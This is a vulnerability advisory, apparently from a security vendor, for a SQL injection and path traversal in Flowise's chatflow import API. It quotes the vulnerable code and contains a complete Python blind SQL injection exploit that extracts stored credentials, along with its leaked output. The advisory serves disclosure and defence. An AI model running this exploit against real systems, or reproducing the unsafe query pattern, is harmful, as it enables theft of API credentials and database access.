CVE-2025-71332 — flowise
Fix: FlowiseAI/Flowise#4226CVE-2025-71332 is a SQL Injection vulnerability in flowise. No vendor fix is recorded yet; mitigation options are listed below.
Flowise - SQL Injection in importChatflows API via chatflow.id Parameter
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2025-71332.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
flowisenpmDescription
Summary
import functions are vulnerable.
Details
Authenticated user can call importChatflows API, import json file such as AllChatflows.json.
but Due to insufficient validation to chatflow.id in importChatflows API, 2 issues arise.
Issue 1 (Bug Type)
- Malicious user creates
AllChatflows.jsonfile by adding../and arbitrary path to the chatflow.id of the json file.{ "Chatflows": [ { "id": "../../../../../../apikey", "name": "clickme", "flowData": "{}" } ] } - Victim download this file, and import this to flowise.
- When victim click created chatflow, victim access to flowise:3000/canvas/{chatflow.id}.
Issue 2 (Vulnerability Type) importChatflows API use unsafe SQL Query.
// packages/server/src/services/chatflows/index.ts
const importChatflows = async (newChatflows: Partial<ChatFlow>[]): Promise<any> => {
try {
const appServer = getRunningExpressApp()
// step 1 - check whether file chatflows array is zero
if (newChatflows.length == 0) return
// step 2 - check whether ids are duplicate in database
let ids = '('
let count: number = 0
const lastCount = newChatflows.length - 1
newChatflows.forEach((newChatflow) => {
ids += `'${newChatflow.id}'` // <===== user input
if (lastCount != count) ids += ','
if (lastCount == count) ids += ')'
count += 1
})
const selectResponse = await appServer.AppDataSource.getRepository(ChatFlow)
.createQueryBuilder('cf')
.select('cf.id')
.where(`cf.id IN ${ids}`) // <===== here
.getMany()
const foundIds = selectResponse.map((response) => {
return response.id
})
It changes like SELECT cf.id FROM cf WHERE cf.id IN ('{USER-INPUT...}') by the code above.
When ') {Malicious SQL Query} -- is passed to newChatflow.id, SQL Injection occurs.
PoC
import argparse
import requests
def import_chatflows(
url: str,
token: str,
payload: dict
):
response = requests.post(
f'{url}/api/v1/chatflows/importchatflows',
headers={
'Authorization': f'Bearer {token}'
# 'Authorization': f'Basic {token}'
},
json=payload
)
return response.json()
def import_normal_data(
api_url: str,
token: str,
normal_data: str
):
data_id = 'aaaaaa'
payload = {
"Chatflows": [
{
"id": data_id,
"name": normal_data,
"flowData": "{}"
}
]
}
import_chatflows(
url=api_url,
token=token,
payload=payload
)
return data_id
def get_character(
api_url: str,
token: str,
data_id: str,
column_name: str,
index: int
):
injection_query = f'(SELECT ascii(substr({column_name},{index},1)) FROM credential limit 0,1)'
def create_payload(
c: int
):
return f"{data_id}') and if (({injection_query})<{c}, 0, 9e300 * 9e300); -- "
chatflows_json = {
"Chatflows": [
{
"id": "",
"name": data_id,
"flowData": "{}"
}
]
}
bitbox = [
64, 32, 16, 8, 4, 2, 1
]
character = 0
for bit in bitbox:
payload = create_payload(c=character + bit)
chatflows_json['Chatflows'][0]['id'] = payload
res = import_chatflows(
url=api_url,
token=token,
payload=chatflows_json
)
if 'DOUBLE value is out of range' in res['message']:
# character is more then bit
character += bit
else:
# character is less then bit
character += 0
return chr(character)
def get_length(
api_url: str,
token: str,
data_id: str,
column_name: str
):
injection_query = f'(SELECT length({column_name}) FROM credential limit 0,1)'
def create_payload(
c: int
):
return f"{data_id}') and if (({injection_query})<{c}, 0, 9e300 * 9e300); -- "
chatflows_json = {
"Chatflows": [
{
"id": "",
"name": data_id,
"flowData": "{}"
}
]
}
column_len = 0
bitbox = [
256, 128, 64, 32, 16, 8, 4, 2, 1
]
for bit in bitbox:
payload = create_payload(c=column_len + bit)
chatflows_json['Chatflows'][0]['id'] = payload
res = import_chatflows(
url=api_url,
token=token,
payload=chatflows_json
)
if 'DOUBLE value is out of range' in res['message']:
# column_len is more then bit
column_len += bit
else:
# column_len is less then bit
column_len += 0
return column_len
def main(
url: str,
token: str
):
api_url = url
column_box = [
'credentialName',
'encryptedData'
]
data_id = import_normal_data(
api_url=api_url,
token=token,
normal_data='flow01'
)
for column_name in column_box:
column_len = get_length(
api_url=api_url,
token=token,
data_id=data_id,
column_name=column_name
)
print(f'[+] {column_name} length is {column_len}')
result = ''
for i in range(column_len):
result += get_character(
api_url=api_url,
token=token,
data_id=data_id,
column_name=column_name,
index=i + 1
)
print(f'[+] {column_name}: {result}')
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument(
'--url',
type=str,
default='http://flowise:3000'
)
parser.add_argument(
'--access',
type=str,
required=True,
help='Get from http://flowise:3000/apikey'
)
m_args = parser.parse_args()
main(
url=m_args.url,
token=m_args.access
)
poc results: encryptedData from flowise database credential table was successfully leaked.
/app # python ex2.py --url http://flowise:3000 --access "blahblah~~~"
[+] credentialName length is 9
[+] credentialName: openAIApi
[+] encryptedData length is 88
[+] encryptedData: U2FsdGVkX19LlIhbD4M9q9reLWQilBY6ffWo2S9PQ669CP1HpMPa5g1h1rJL0ZK3x0UMsLi/8Pz6TbSFrmIZbg==
It is recommended to limit all chatflow ids & chat ids to UUID.
Impact
- Database leak
- Lateral Movement
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | flowise | all versions | No fix |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for flowise, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Remediation status
No patched version of flowise has shipped for CVE-2025-71332 yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.
Mitigate without a patch
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2025-71332 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2025-71332. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2025-71332 in your dependencies?
O3 Security finds CVE-2025-71332 across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.